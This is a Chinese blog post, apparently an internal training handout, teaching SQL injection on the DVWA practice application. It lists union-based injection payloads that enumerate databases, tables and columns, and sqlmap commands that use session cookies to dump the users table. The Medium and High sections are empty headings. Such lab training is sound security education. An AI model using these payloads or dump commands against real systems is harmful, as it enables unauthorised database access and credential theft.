210117-技术分享-注入测试

2021年1月17日

技术分享-注入测试

by:leesin(ps:内部使用,未经授权不得外发)


sql注入漏洞


1-前期准备

1-1平台搭建

DVWA下载:https://github.com/ethicalhack3r/DVWA
DVWA搭建教程:https://www.fujieace.com/penetration-test/dvwa.html

1-2sql语法基础

语法示例含义
SELECT 列名称 FROM 表名称SELECT * FROM users;查询user表下的所有数据
常用注入查询命令含义
1’ and ‘1’='1True
1’ and ‘1’='2False
1’ order by 1 #判断列的长度
1’ union select 1,2 #显示1和2两个字段
1’ union select version(),database()#基本信息,数据库名字版本等
1’ union select 1,2,table_schema,count(*) from information_schema.tables group by table_schema –查询所有的数据库
1’ union select table_schema,count(*) from information_schema.tables group by table_schema –示例
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()查询表名
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #示例
1’ union select 1,group_concat(colume_name) from information_schema.columns where table_name=‘users’查询列名

mysql的默认数据库:
在这里插入图片描述

含义
information_schema.columns列名信息表
information_schema.tables表名信息表

在这里插入图片描述


2-注入是什么?

注入漏洞是因为字符过滤不严谨所造成的,使其被当做sql语句执行,可以得到管理员的账号密码等相关资料。

2-1low(常规注入)

1' and '1'='1  True 
1' and '1'='2  False 
1' order by 1 #  判断列的长度 
1' union select 1,2 #  显示1和2两个字段 
1' union select version(),database()#  基本信息,数据库名字版本等 
1' union select 1,2,table_schema,count(*) from information_schema.tables group by table_schema --  查询所有的数据库 
1' union select table_schema,count(*) from information_schema.tables group by table_schema -- 示例
union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()  查询表名
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #示例
1' union select 1,group_concat(colume_name) from information_schema.columns where table_name='users'查询列名

2-2Medium(post注入如何注)

2-3high(#注释)

2-4sqmap(盲注)注入时加cookie信息注入

注意!!!以下[中括号]以及其内的内容为你现实使用中数值
sqlmap -u '[url]' -dbs
sqlmap -u '[url]' --cookie='[cookie]' --batch[自动交互模式]
sqlmap -u '[url]' --cookie='[cookie]' --batch --dbs
爆表
sqlmap -u "[url]" --cookie="[cookie]" --batch -D dvwa --tables
爆列
sqlmap -u "[url]" --cookie="[cookie]" --batch -D dvwa -T users --columns
爆内容
sqlmap -u "[url]" --cookie="[cookie]" --batch -D dvwa -T users --columns --dump

sqlmap的使用:


信息收集(资产灯塔系统)平台使用

GitHub项目地址:https://github.com/TophantTechnology/ARL

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值